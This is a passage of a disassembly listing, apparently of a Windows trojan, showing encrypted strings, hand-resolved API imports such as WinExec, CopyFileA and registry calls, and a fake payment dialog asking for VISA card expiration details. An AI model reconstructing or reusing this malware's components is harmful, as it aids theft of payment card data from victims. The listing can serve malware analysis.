		dd 9C90DD8Bh, 8484D09Eh, 9C83DD84h, 809A899Dh, 809E9290h
		dd 9E9C90DDh, 848484D0h, 9D9291DDh, 9291DE98h, 9686829Dh
		dd 9D9290DEh, 0DD929792h, 84D09290h, 83DD8484h,	9A899D9Ch
		dd 9E929080h, 9C90DD80h, 8484D09Eh, 9E91DD84h, 9C90DD9Ch
		dd 9283D09Eh, 9F92838Ah, 9E9C90DDh, 929196D0h, 9C90DD8Ah
		dd 8484D09Eh, 9291DD84h, 959C989Dh, 8697929Eh, 90DD9281h
		dd 84D09E9Ch, 90DD8484h, 0DD90919Ah, 0D09E9C90h, 0DD848484h
		dd 0DD918785h, 84D08681h, 90DD8484h, 9D929184h,	9C90DD98h
		dd 9C94D09Eh, 9C83979Fh, 90DD9F9Fh, 84D09E9Ch, 83DD8484h
		dd 9A899D9Ch, 9E929080h, 9C90DD80h, 8484D09Eh, 9E9EDD84h
		dd 989D9291h, 0D08681DDh, 0DD848484h, 929A9D86h, 86818780h
		dd 8681DD9Eh, 9F9C94D0h, 9F9C8397h, 9C90DD9Fh, 8484D09Eh
		dd 9C83DD84h, 809A899Dh, 809E9290h, 9E9C90DDh, 848484D0h
		dd 819C84DDh, 9291979Fh, 9CDD989Dh, 84D09481h, 90DD8484h
		dd 9A979D92h, 96879297h, 9A819685h, 81969A95h, 9E9C90DDh
		dd 848484D0h, 9D9C83DDh, 90809A89h, 0DD809E92h,	0D09E9C90h
		dd 0DD848484h, 989D9291h, 9D9A959Ch, 0DD929A97h, 0D09E9C90h
		dd 0DD848484h, 9291909Ah, 81DD989Dh, 9291D086h,	9D9A989Dh
		dd 929BDD94h, 92959A9Fh, 9D9CDE8Bh, 969D9A9Fh, 0DD9C90DDh
		dd 84D09886h, 85DD8484h, 9C979D96h, 929D8081h, 84DD969Eh
		dd 8484D080h, 9E98DD84h, 8681DD91h, 848484D0h, 87969DDDh
		dd 9A94929Eh, 81968780h, 9E9C90DDh, 859298D0h, 90899298h
		dd 96879D96h, 9C90DD81h, 8484D09Eh, 9685DD84h, 819C979Dh
		dd 9E929D80h, 8084DD96h, 9C8A9ED0h, 9D9A9F9Dh, 90909296h
		dd 879D869Ch, 92DDC180h, 8A969191h, 9A87929Dh, 9F929D9Ch
		dd 0DD9C90DDh, 9CD09886h, 9D9A9F9Dh, 8691DE96h,	969D9A80h
		dd 9FDD8080h, 978A9C9Fh, 91808780h, 0DD9C90DDh,	84D09886h
		dd 92DD8484h, 9B929F9Fh, 97929192h, 989D9291h, 9E9C90DDh
		dd 848484D0h, 909181DDh, 9E9C90DDh, 848484D0h, 9D9C83DDh
		dd 90809A89h, 0DD809E92h, 0D09E9C90h, 0C2848484h, 91809BDDh
		dd 9290DD90h, 919498D0h, 929F9681h, 869F908Bh, 8681DD91h
		dd 9E928AD0h, 91DD9C91h, 98D0899Ah, 809C979Ah, 9D9291DEh
		dd 8681DD98h, 848484D0h, 90919FDDh, 96819A97h, 9FDD8790h
		dd 96818692h, 929A879Dh, 9D92919Dh, 9290DD98h, 819291D0h
		dd 8A929F90h, 9C90DD80h, 9C87D09Eh, 9F9F9287h, 9681958Ah
		dd 9D929196h, 949D9A98h, 9E9C90DDh, 848484D0h, 90919DDDh
		dd 0D09290DDh, 9291C0C6h, 90DD989Dh, 84D09E9Ch,	85DD8484h
		dd 9C979D96h, 929D8081h, 84DD969Eh, 8484D080h, 0C191DD84h
		dd 8187DE91h, 0DD878086h, 0D09E9C90h, 0DD848484h, 979D9685h
		dd 9D80819Ch, 0DD969E92h, 9CD08084h, 919D9683h,	0DD989D92h
		dd 0D09E9C90h, 0DE879287h, 8795969Dh, 989D9291h, 0D08681DDh
		dd 9F909680h, 81DD9192h, 9680D086h, 9A818690h, 929F8A87h
		dd 8681DD91h, 879695D0h, 9781929Bh, 899A91DDh, 9C8194D0h
		dd 9F838B9Dh, 87969D92h, 8681DD80h, 9D9685D0h, 80819C97h
		dd 969E929Dh, 0D08084DDh
		db 0
aClickOnceToCon	db 'Click Once To Continue',0 ; DATA XREF: sub_44108E+D8Eo
aButton		db 'BUTTON',0           ; DATA XREF: sub_44108E+D93o
byte_44BDCB	db 1Eh			; DATA XREF: sub_44108E+C73o
		dd 28357000h, 31223920h, 3E3F3924h, 24313450h, 7A7A7A35h
		dd 503D2431h, 503E3920h, 35343F33h
		db 0
byte_44BDED	db 6, 0, 69h		; DATA XREF: sub_44108E+C63o
		db ':=(= *',0
aEdit		db 'EDIT',0             ; DATA XREF: sub_44108E+C14o
dword_44BDFC	dd 1C2E0006h, 1C000B1Eh	; DATA XREF: sub_44108E+B3Bo
		db 5Bh,	0
word_44BE06	dw 4			; DATA XREF: sub_44108E:loc_441B74o
		dd 9151E3Bh
		db 4Eh,	0
byte_44BE0E	db 0			; DATA XREF: sub_44108E+A12o
					; sub_44108E+AA4o ...
aCombobox	db 'COMBOBOX',0         ; DATA XREF: sub_44108E+A17o
					; sub_44108E+AA9o
dword_44BE18	dd 70230006h, 6A776277h	; DATA XREF: sub_44108E+8A3o
		db 60h,	0
word_44BE22	dw 6Eh			; DATA XREF: sub_44108E:loc_44190Bo
		db  40h	; @
		db 15h,	2Eh, 21h
a4542Nje30233_0	db '",%`4/`!54(/2):%nJe3`02/#%33).',27h,'`#%.4%2`)3`5.!",%`4/`!54(/2):%`'
		db '9/52`#!2$`e3nJ',0Dh,'!+%`#/22%#4)/.3`!.$`429`!',27h,'!).n',0
asc_44BE94	db 0Ah,0		; DATA XREF: sub_44108E:loc_4418F3o
		dw 1954h
		dd 31202735h, 26351726h
		db 30h,	0
aVisa		db 'VISA',0             ; DATA XREF: sub_44108E+852o
asc_44BEA7	db ' ',0                ; DATA XREF: sub_44108E+7FFo
aStatic		db 'STATIC',0           ; DATA XREF: sub_44108E+804o
dword_44BEB0	dd 0A70000h		; DATA XREF: sub_44108E+65Bo
dword_44BEB4	dd 0B8EB0006h, 0A2BFAABFh ; DATA XREF: sub_44108E+64Bo
		db 0A8h, 0
word_44BEBE	dw 15h			; DATA XREF: sub_44108E+5C5o
aUuuusmajrrkn_0	db '㓑ㅂ',0
byte_44BED7	db 6			; DATA XREF: sub_44108E+5B5o
		dd 1A1D4E00h, 0D071A0Fh
		db 0
aKkqVx		db 'kkq-vx',0           ; DATA XREF: sub_44108E+500o
aExplorer	db 'Explorer',0         ; DATA XREF: sub_44108E+44Co
asc_44BEF1	db 9,0			; DATA XREF: sub_44108E:loc_4414BEo
		db 45h
		dd 0A262A01h, 26202F27h
		db 31h,	0
word_44BEFE	dw 0Eh			; DATA XREF: sub_44108E+404o
		dd 67645105h, 616B6C52h, 6946726Ah, 767664h
dword_44BF10	dd 479E0000h, 6F4C7465h, 656C6163h, 6F666E49h ;	DATA XREF: sub_440457+499o
		db 41h,	0
word_44BF22	dw 0			; DATA XREF: sub_440457+47Do
aOgetversionexa	db 'GetVersionExA',0
byte_44BF33	db 0			; DATA XREF: sub_440457+461o
		dd 69463D00h, 6954656Ch, 6F54656Dh, 74737953h, 69546D65h
		db 6Dh,	65h, 0
byte_44BF4B	db 0			; DATA XREF: sub_440457+445o
		dd 6F43D700h, 7261706Dh, 6C694665h, 6D695465h
		db 65h,	0
word_44BF5E	dw 0			; DATA XREF: sub_440457+429o
aRgetvolumeinfo	db 'GetVolumeInformationA',0
byte_44BF77	db 0			; DATA XREF: sub_440457+40Do
		dd 6E490C00h, 6C726574h, 656B636Fh, 63654464h, 656D6572h
		db 6Eh,	74h, 0
byte_44BF8F	db 0			; DATA XREF: sub_440457+3F1o
		dd 6E498900h, 6C726574h, 656B636Fh, 636E4964h, 656D6572h
		db 6Eh,	74h, 0
byte_44BFA7	db 0			; DATA XREF: sub_440457+3D5o
		dd 6547A300h, 73795374h, 446D6574h, 63657269h, 79726F74h
		db 41h,	0
word_44BFBE	dw 0			; DATA XREF: sub_440457+3B9o
aLgetmodulefile	db 'lGetModuleFileNameA',0
dword_44BFD4	dd 4FDB0000h, 4D6E6570h, 78657475h ; DATA XREF:	sub_440457+39Do
		db 41h,	0
word_44BFE2	dw 0			; DATA XREF: sub_440457+381o
aRcreatemutexa	db 'CreateMutexA',0
word_44BFF2	dw 0			; DATA XREF: sub_440457+365o
a0copyfilea	db '0CopyFileA',0
byte_44BFFF	db 0			; DATA XREF: sub_440457+349o
		db    0
aGetdiskfreespa	db 7,'GetDiskFreeSpaceA',0
dword_44C014	dd 535C0000h, 72457465h, 4D726F72h, 65646Fh ; DATA XREF: sub_440457+32Do
dword_44C024	dd 476B0000h, 78457465h, 6F437469h, 68546564h, 64616572h
					; DATA XREF: sub_440457+311o
		db 0
byte_44C039	db 2 dup(0), 16h	; DATA XREF: sub_440457+2F5o
aGetdrivetypea	db 'GetDriveTypeA',0
word_44C04A	dw 0			; DATA XREF: sub_440457+2D9o
aUfindclose	db 'UFindClose',0
byte_44C057	db 0			; DATA XREF: sub_440457+2BDo
		dd 6946A700h, 654E646Eh, 69467478h, 41656Ch
dword_44C068	dd 46640000h, 46646E69h, 74737269h, 656C6946h ;	DATA XREF: sub_440457+2A1o
		db 41h,	0
word_44C07A	dw 0			; DATA XREF: sub_440457+285o
aPgettickcount	db 'GetTickCount',0
word_44C08A	dw 0			; DATA XREF: sub_440457+269o
aFrtlzeromemory	db 'RtlZeroMemory',0
byte_44C09B	db 0			; DATA XREF: sub_440457+24Do
		dd 6547DC00h, 73795374h, 546D6574h, 656D69h
dword_44C0AC	dd 4C640000h, 6C61636Fh, 65657246h ; DATA XREF:	sub_440457+231o
		db 0
byte_44C0B9	db 2 dup(0), 79h	; DATA XREF: sub_440457+215o
aLocalalloc	db 'LocalAlloc',0
byte_44C0C7	db 0			; DATA XREF: sub_440457+1F9o
		dd 69561F00h, 61757472h, 6572466Ch
		db 65h,	0
word_44C0D6	dw 0			; DATA XREF: sub_440457+1DDo
aUvirtualalloc	db 'VirtualAlloc',0
word_44C0E6	dw 0			; DATA XREF: sub_440457+1C1o
aReadfile	db 0Ah
		db 'ReadFile',0
word_44C0F2	dw 0			; DATA XREF: sub_440457+1A5o
aCgettemppatha	db 'GetTempPathA',0
word_44C102	dw 0			; DATA XREF: sub_440457+189o
aGlobalmemoryst	db 'GLobalMemoryStatus',0
dword_44C118	dd 4D0D0000h, 69746C75h, 65747942h, 69576F54h, 68436564h
					; DATA XREF: sub_440457+16Do
		db 61h,	72h, 0
byte_44C12F	db 0			; DATA XREF: sub_440457+151o
		dd 69571500h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		db 65h,	0
word_44C146	dw 0			; DATA XREF: sub_440457+135o
aRwinexec	db 'RWinExec',0
byte_44C151	db 2 dup(0), 98h	; DATA XREF: sub_440457+119o
aLstrlenw	db 'lstrlenW',0
byte_44C15D	db 2 dup(0), 12h	; DATA XREF: sub_440457+FDo
aGetfilesize	db 'GetFileSize',0
dword_44C16C	dd 435E0000h, 65736F6Ch, 646E6148h ; DATA XREF:	sub_440457+E1o
		db 6Ch,	65h, 0
byte_44C17B	db 0			; DATA XREF: sub_440457+C5o
		dd 7257D800h, 46657469h, 656C69h
dword_44C188	dd 53B50000h, 69467465h, 6F50656Ch, 65746E69h ;	DATA XREF: sub_440457+A9o
		db 72h,	0
word_44C19A	dw 0			; DATA XREF: sub_440457+8Do
aXdeletefilea	db 'DeleteFileA',0
byte_44C1A9	db 2 dup(0), 9Bh	; DATA XREF: sub_440457+71o
aCreatefilea	db 'CreateFileA',0
dword_44C1B8	dd 4C050000h, 4C64616Fh, 61726269h, 417972h ; DATA XREF: sub_440457+55o
dword_44C1C8	dd 47CE0000h, 6F4D7465h, 656C7564h, 646E6148h, 41656Ch
					; DATA XREF: sub_440457+39o
dword_44C1DC	dd 42AD0000h, 706565h	; DATA XREF: sub_440457+1Do
dword_44C1E4	dd 45830000h, 54746978h, 61657268h ; DATA XREF:	sub_440457+1o
		db 64h,	0
word_44C1F2	dw 0			; DATA XREF: sub_44015B+6Bo
aAregclosekey	db 'RegCloseKey',0
byte_44C201	db 2 dup(0), 35h	; DATA XREF: sub_44015B+4Fo
aRegqueryvaluee	db 'RegQueryValueExA',0
byte_44C215	db 2 dup(0), 8Fh	; DATA XREF: sub_44015B:loc_44018Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0
word_44C226	dw 0Ch			; DATA XREF: sub_44015B+1Co
		dd 0E2F0F594h, 0A7FDE4F5h, 0F8F0BAA6h
		db 0F8h, 0
word_44C236	dw 0			; DATA XREF: sub_44015B+1o
aAdvapi32_dll_0	db ';advapi32.dll',0
word_44C246	dw 1			; DATA XREF: sub_43F0EA+D21o
		db 0F3h, 8Fh, 0
byte_44C24B	db 20h			; DATA XREF: sub_43F0EA+CFBo
		db 7Ch,	0
word_44C24E	dw 1			; DATA XREF: sub_43F0EA+C67o
		db 5Ah,	60h, 0
byte_44C253	db 4			; DATA XREF: sub_43F0EA:loc_43FD0Bo
		dd 7C795900h
		db 2Ch,	63h, 0
byte_44C25B	db 1			; DATA XREF: sub_43F0EA+6DEo
		dd 790500h
dword_44C260	dd 0FADA000Ah, 88959CE6h, 0AFFFE097h ; DATA XREF: sub_43F0EA+499o
		db 0E4h, 0
word_44C26E	dw 0Bh			; DATA XREF: sub_43F0EA:loc_43F493o
		dd 91EBF7D7h, 929A9685h, 0E9A2F2EDh
		db 0
byte_44C27D	db 0Ah,	0, 0A4h		; DATA XREF: sub_43F0EA+298o
		dd 0F6E29884h, 9EE1E9E5h, 9AE9h
dword_44C28C	dd 4, 4C0022h, 4F0043h,	47h ; DATA XREF: sub_43F0EA+218o
dword_44C29C	dd 5, 0CC00BAh,	0D600DBh, 0DF00CFh ; DATA XREF:	sub_43F0EA+201o
		db 2 dup(0)
word_44C2AE	dw 2			; DATA XREF: sub_43EEA0+113o
		dd 0CCCCECh
dword_44C2B4	dd 17380001h		; DATA XREF: sub_43EEA0+DDo
		db 0
byte_44C2B9	db 12h,	0, 31h		; DATA XREF: sub_43EEA0:loc_43EED2o
		dd 4552425Ch, 426E425Dh, 44455045h, 43505342h
		db 2, 3, 0
byte_44C2CF	db 0Eh			; DATA XREF: sub_43EEA0+10o
		dd 6F5A0E00h, 6067596Ch, 4D79616Ah, 7D7D6F62h
		db 0
byte_44C2E1	db 2 dup(0), 75h	; DATA XREF: sub_43EA51+2EFo
aEnumdesktopwin	db 'EnumDesktopWindows',0
byte_44C2F7	db 0			; DATA XREF: sub_43EA51+2D3o
		dd 69469500h, 6957646Eh, 776F646Eh, 417845h
dword_44C308	dd 54910000h, 736E6172h, 6574616Ch, 7373654Dh, 656761h
					; DATA XREF: sub_43EA51+2B7o
dword_44C31C	dd 534A0000h, 57776F68h, 6F646E69h ; DATA XREF:	sub_43EA51+29Bo
		db 77h,	0
word_44C32A	dw 0			; DATA XREF: sub_43EA51+27Fo
aSetwindowtexta	db 'SetWindowTextA',0
dword_44C33C	dd 53670000h, 69577465h, 776F646Eh, 676E6F4Ch ;	DATA XREF: sub_43EA51+263o
		db 41h,	0
word_44C34E	dw 0			; DATA XREF: sub_43EA51+247o
		dd 746553F4h, 656D6954h
		db 72h,	0
word_44C35A	dw 0			; DATA XREF: sub_43EA51+22Bo
		dd 746553FBh, 75636F46h
		db 73h,	0
word_44C366	dw 0			; DATA XREF: sub_43EA51+20Fo
aZsendmessagea	db 'SendMessageA',0
word_44C376	dw 0			; DATA XREF: sub_43EA51+1F3o
aRegisterclassa	db 'RegisterClassA',0
dword_44C388	dd 4D690000h, 5765766Fh, 6F646E69h ; DATA XREF:	sub_43EA51+1D7o
		db 77h,	0
word_44C396	dw 0			; DATA XREF: sub_43EA51+1BBo
aMessageboxa_0	db 'MessageBoxA',0
byte_44C3A5	db 2 dup(0), 0ACh	; DATA XREF: sub_43EA51+19Fo
aLoadicona	db 'LoadIconA',0
word_44C3B2	dw 0			; DATA XREF: sub_43EA51+183o
		dd 616F4CF6h, 72754364h, 41726F73h
		db 0
byte_44C3C1	db 2 dup(0), 0C3h	; DATA XREF: sub_43EA51+167o
aGetwindowtexta	db 'GetWindowTextA',0
byte_44C3D3	db 0			; DATA XREF: sub_43EA51+14Bo
		dd 65473900h, 6E695774h, 52776F64h, 746365h
dword_44C3E4	dd 479D0000h, 69577465h, 776F646Eh, 676E6F4Ch ;	DATA XREF: sub_43EA51+12Fo
		db 41h,	0
word_44C3F6	dw 0			; DATA XREF: sub_43EA51+113o
aGetwindow	db 'GetWindow',0
byte_44C403	db 0			; DATA XREF: sub_43EA51+F7o
		dd 65470B00h, 73654D74h, 65676173h
		db 41h,	0
word_44C412	dw 0			; DATA XREF: sub_43EA51+DBo
aFgetforeground	db 'FGetForegroundWindow',0
byte_44C429	db 2 dup(0), 9Fh	; DATA XREF: sub_43EA51+BFo
aGetclassnamea	db 'GetClassNameA',0
word_44C43A	dw 0			; DATA XREF: sub_43EA51+A3o
		dd 73694418h, 63746170h, 73654D68h, 65676173h
		db 41h,	0
word_44C44E	dw 0			; DATA XREF: sub_43EA51+87o
aDestroywindow	db 'DestroyWindow',0
byte_44C45F	db 0			; DATA XREF: sub_43EA51+6Bo
		dd 65440F00h, 6E695766h, 50776F64h, 41636F72h
		db 0
byte_44C471	db 2 dup(0), 0DDh	; DATA XREF: sub_43EA51+4Fo
aCreatewindowex	db 'CreateWindowExA',0
dword_44C484	dd 43E20000h, 576C6C61h, 6F646E69h, 6F725077h
					; DATA XREF: sub_43EA51:loc_43EA84o
		db 63h,	41h, 0
byte_44C497	db 0Ah			; DATA XREF: sub_43EA51+1Co
		dd 8187F200h, 0C0C18097h, 9E9E96DCh
		db 0
byte_44C4A5	db 2 dup(0), 5Ah	; DATA XREF: sub_43EA51+1o
aUser32_dll_0	db 'user32.dll',0
byte_44C4B3	db 4			; DATA XREF: sub_43E8A2+3Fo
		dd 0B4D6800h
		db 52h,	34h, 0
byte_44C4BB	db 0			; DATA XREF: sub_43E5D5:loc_43E841o
		db 0, 9Dh, 0
byte_44C4BF	db 1			; DATA XREF: sub_43E5D5:loc_43E7D7o
		dd 0D0A800h
dword_44C4C4	dd 0E1C40017h, 0E1A7E1A7h, 0E9A7E1A7h, 2 dup(0A7E1A7E1h)
					; DATA XREF: sub_43E1CC:loc_43E3C1o
		dd 0A7EAA7E1h
		db 0ABh, 0A9h, 0
byte_44C4DF	db 16h			; DATA XREF: sub_43E1CC+1AFo
		dd 25634600h, 2	dup(25632563h),	6325636Bh, 63256325h, 33346825h
		db 0
byte_44C4F9	db 2 dup(0), 19h	; DATA XREF: sub_43DEF2:loc_43E18Eo
		db 5Ch,	0
word_44C4FE	dw 4			; DATA XREF: sub_43DE0F+55o
aGez		db ')',7,'GEZ',0
word_44C506	dw 1			; DATA XREF: sub_43DE0F+29o
		db 21h,	7Dh, 0
aSS		db '%s\%s',0            ; DATA XREF: sub_43DAAC+24Fo
					; sub_43DAAC+2B7o
byte_44C511	db 4, 0, 3		; DATA XREF: sub_43DAAC+17o
aP_		db '&p_)',0
		align 4
asc_44C51C:				; DATA XREF: sub_43D8A3+19Fo
		dw 9
		unicode	0, <>,0
		dd 610003h, 650066h, 71006Ch, 460066h, 67006Dh
		db 2 dup(0)
word_44C536	dw 5Ah			; DATA XREF: sub_43D8A3+111o
aADakDiseEidkes	db 'ф͚ͅ͏͞ЅȞ҅Ȟ˄ȘȞ˂Șˋ'
		db 'Ȏ˞Ȟ˞Ș˙ȘˉȞ',0
asc_44C594	db ',',0                ; DATA XREF: sub_43D8A3+BFo
		dw 33Fh
		dd 1F585256h, 4B5B5648h, 1F0F0257h, 58565A57h, 0F024B57h
		dd 4D505D1Fh, 24D5A5Bh,	4D4C1F0Fh, 4C1A025Ch, 2590010h
		dd 15C1Ah
dword_44C5C4	dd 39050007h, 2A393B67h	; DATA XREF: sub_43D8A3+57o
		db 67h,	3Bh, 0
byte_44C5CF	db 0			; DATA XREF: sub_43C38A+759o
		dd 642EC300h, 617461h
dword_44C5D8	dd 270000h		; DATA XREF: sub_43C154:loc_43C1BEo
dword_44C5DC	dd 24010004h, 593931h	; DATA XREF: sub_43BFE5+71o
dword_44C5E4	dd 89AC0004h, 0F49E82h	; DATA XREF: sub_43BF3D+72o
dword_44C5EC	dd 55700001h		; DATA XREF: sub_43BF3D:loc_43BF9Do
		db 0
byte_44C5F1	db 25h,	63h, 0		; DATA XREF: sub_43BF3D+4Co
dword_44C5F4	dd 5C4D0000h		; DATA XREF: sub_43BE25+2Do
		db 0
byte_44C5F9	db 3, 0, 89h		; DATA XREF: sub_43B780+2F6o
		dd 0B4E6B2h
dword_44C600	dd 172C0004h, 11435Fh	; DATA XREF: sub_43B780:loc_43B9E3o
dword_44C608	dd 0E2D90004h, 0F3E4BDh	; DATA XREF: sub_43B780+216o
dword_44C610	dd 3, 5A0013h, 54005Eh	; DATA XREF: sub_43B780+16o
		db 2 dup(0)
word_44C61E	dw 0Fh			; DATA XREF: sub_43B52C+44o
		dd 7B540227h, 24B4143h,	15145D52h, 4B4B4309h
		db 0
byte_44C631	db 0Fh,	0, 5Bh		; DATA XREF: sub_43B52C+1Co
a0_7Hiu?77	db '~(',7,'0=~.7!hiu?77',0
dword_44C644	dd 2A0F0004h, 53356Ch	; DATA XREF: sub_43B4C6+1Co
dword_44C64C	dd 446A0004h, 190604h	; DATA XREF: sub_43B182+56o
dword_44C654	dd 0F8A40001h		; DATA XREF: sub_43B182+2Ao
		db 0
byte_44C659	db 9, 0, 79h		; DATA XREF: sub_43AFB5+160o
		dd 1D160B29h, 300D1A0Ch
		db 1Dh,	0
word_44C666	dw 29h			; DATA XREF: sub_43AFB5+150o
		dd 0C0C9D586h, 0D4C7D1D2h, 0EFCBDAC3h, 0F5E9F4E5h, 0DAF2E0E9h
		dd 0E2E8EFD1h, 0DAF5F1E9h, 0F4F4F3C5h, 0D0F2E8E3h, 0EFF5F4E3h
		db 0E9h, 0E8h, 0
byte_44C693	db 1			; DATA XREF: sub_43AFB5+134o
		dd 0BD9300h
dword_44C698	dd 8AA70004h, 89FF82h	; DATA XREF: sub_43AFB5+DAo
dword_44C6A0	dd 0A0C30003h		; DATA XREF: sub_43AFB5+9Co
		db 0F9h, 9Fh, 0
byte_44C6A7	db 8			; DATA XREF: sub_43AFB5:loc_43B019o
		dd 93C3E600h, 0C893C3C8h
		db 0C3h, 93h, 0
byte_44C6B3	db 2			; DATA XREF: sub_43AFB5+4Fo
		dd 5D470900h
		db 0
byte_44C6B9	db 2, 0, 2Ch		; DATA XREF: sub_43AFB5+31o
		db 15h,	74h, 0
byte_44C6BF	db 0			; DATA XREF: sub_43AED7+A3o
		dd 69443900h, 65477073h, 72615074h
		db 61h,	6Dh, 0
byte_44C6CF	db 0			; DATA XREF: sub_43AED7+87o
		dd 61564C00h, 6E616972h, 696E4974h
		db 74h,	0
word_44C6DE	dw 0			; DATA XREF: sub_43AED7+6Bo
aOvariantclear	db 'VariantClear',0
word_44C6EE	dw 0			; DATA XREF: sub_43AED7+4Fo
aSsysfreestring	db 'SysFreeString',0
byte_44C6FF	db 0			; DATA XREF: sub_43AED7:loc_43AF0Ao
		dd 79530B00h, 6C6C4173h, 7453636Fh, 676E6972h
		db 0
byte_44C711	db 2 dup(0), 5Eh	; DATA XREF: sub_43AED7+1Co
aOleaut32_dll	db 'oleaut32.dll',0
byte_44C721	db 2 dup(0), 5Bh	; DATA XREF: sub_43AED7+1o
aOleaut32_dll_0	db 'oleaut32.dll',0
byte_44C731	db 4, 0, 28h		; DATA XREF: sub_43ADAC+55o
		dd 5B444606h
		db 0
byte_44C739	db 1, 0, 6		; DATA XREF: sub_43ADAC+29o
		db 5Ah,	0
word_44C73E	dw 0			; DATA XREF: sub_43AD5A:loc_43AD8Do
aMshgetfolderpa	db 'mSHGetFolderPathA',0
word_44C752	dw 0			; DATA XREF: sub_43AD5A+1Co
aEshell32_dll	db 'eshell32.dll',0
byte_44C761	db 2 dup(0), 0A6h	; DATA XREF: sub_43AD5A+1o
aShell32_dll	db 'shell32.dll',0
asc_44C770	db '*',0                ; DATA XREF: sub_43AA99+1DBo
word_44C772	dw 4			; DATA XREF: sub_43AA99+9Bo
aQiqqq		db '',0
word_44C77A	dw 0			; DATA XREF: sub_43AA12+4Fo
aGetstockobject	db 'GetStockObject',0
dword_44C78C	dd 43470000h, 74616572h, 6E6F4665h ; DATA XREF:	sub_43AA12:loc_43AA45o
		db 74h,	41h, 0
byte_44C79B	db 9			; DATA XREF: sub_43AA12+1Co
		dd 9093F400h, 0DAC6C79Dh, 989890h
dword_44C7A8	dd 67140000h, 32336964h, 6C6C642Eh ; DATA XREF:	sub_43AA12+1o
		db 0
byte_44C7B5	db 1, 0, 0D8h		; DATA XREF: sub_43A34D:loc_43A842o
		db 0F8h, 0
word_44C7BA	dw 0			; DATA XREF: sub_43A34D+4ACo
		db 4, 0
word_44C7BE	dw 13h			; DATA XREF: sub_43A34D+482o
aDlijpUeLquvesg	db '꿄ʞʋ',0
a5		db '5',0                ; DATA XREF: sub_43A34D+472o
		db 9Ah
		dd 0F8FBF4CFh, 0EEBAFFF6h, 0EFFBBAF5h, 0E8F5F2EEh, 0BAFFE0F3h
		dd 0D4D3BAB7h, 0C8C8D5D9h, 0BACED9DFh, 0B4D4D3CAh, 0FFF6CABAh
		dd 0B6FFE9FBh, 0E8F5F9BAh, 0EEF9FFE8h
		db 0B4h, 0
word_44C80E	dw 1			; DATA XREF: sub_43A34D:loc_43A5FFo
		db 4Ch,	61h, 0
aPleaseSelect_0	db 'Please, select Expiration Year',0 ; DATA XREF: sub_43A34D+286o
word_44C832	dw 1			; DATA XREF: sub_43A34D:loc_43A54Do
		db 5Ah,	7Ah, 0
aPleaseSelectEx	db 'Please, select Expiration Month',0 ; DATA XREF: sub_43A34D+1D4o
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
					; DATA XREF: .data:off_44B1FCo
		db '://',0
dword_44C89C	dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9h ; DATA XREF: sub_43FEB1+53o
dword_44C8AC	dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h	; DATA XREF: sub_43FEB1+1D5o
					; sub_43FEB1+1F4o ...
dword_44C8BC	dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
					; DATA XREF: sub_43C0C2:loc_43C10Eo
					; sub_43FEB1+14Ao ...
dword_44C8CC	dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
					; DATA XREF: sub_4400E0:loc_44012Co
dword_44C8DC	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h ; DATA XREF: sub_4434B2+12o
dword_44C8EC	dd 20400h, 0		; DATA XREF: sub_43C0C2:loc_43C0EEo
					; sub_4400E0:loc_44010Co ...
		dd 0C0h, 46000000h
dword_44C8FC	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_43F0EA+174o
					; sub_443E95+14Co
dword_44C90C	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43B780+123o
					; sub_43F0EA+4DCo ...
dword_44C91C	dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43B780+60o
					; sub_443589+79o
dword_44C92C	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43F0EA+9CEo
dword_44C93C	dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43B780+1ECo
dword_44C94C	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_43F0EA+2EEo
dword_44C95C	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7h ;	DATA XREF: sub_43FEB1+4Ao
dword_44C96C	dd 2 dup(0)		; DATA XREF: sub_43C0C2+Co
					; sub_4400E0+Co ...
		dd 0C0h, 46000000h
dword_44C97C	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh	; DATA XREF: sub_43F0EA+73o
					; sub_43FEB1+10Eo ...
dword_44C98C	dd 10h dup(0)		; DATA XREF: sub_444154o
					; sub_444154:loc_44416Eo ...
dword_44C9CC	dd 0			; DATA XREF: sub_4440F8+16o
					; sub_4440F8:loc_44413Ao ...
		dd 0Fh dup(0)
dword_44CA0C	dd 0			; DATA XREF: sub_44425D+Cw
					; sub_44425D+825r
dword_44CA10	dd 0			; DATA XREF: sub_44425D+14w
					; sub_44425D+82Cr
dword_44CA14	dd 0			; DATA XREF: sub_44425D+1Cw
					; sub_44425D+834r
dword_44CA18	dd 0			; DATA XREF: sub_44425D+24w
					; sub_44425D+83Cr
		align 200h
_data		ends

; Section 7. (virtual address 0004D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0004CC00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 44D000h
		dd 2Bh dup(0)
dword_44D0AC	dd 0			; DATA XREF: .text:00444B8Cr
dword_44D0B0	dd 0			; DATA XREF: sub_444B98r
dword_44D0B4	dd 0			; DATA XREF: sub_444BA4r
		align 10h
dword_44D0C0	dd 0			; DATA XREF: sub_444BB0r
dword_44D0C4	dd 0			; DATA XREF: sub_444BBCr
dword_44D0C8	dd 0			; DATA XREF: .text:00444BC8r
dword_44D0CC	dd 0			; DATA XREF: .text:00444BD4r
dword_44D0D0	dd 0			; DATA XREF: sub_444BE0r
dword_44D0D4	dd 0			; DATA XREF: sub_444BECr
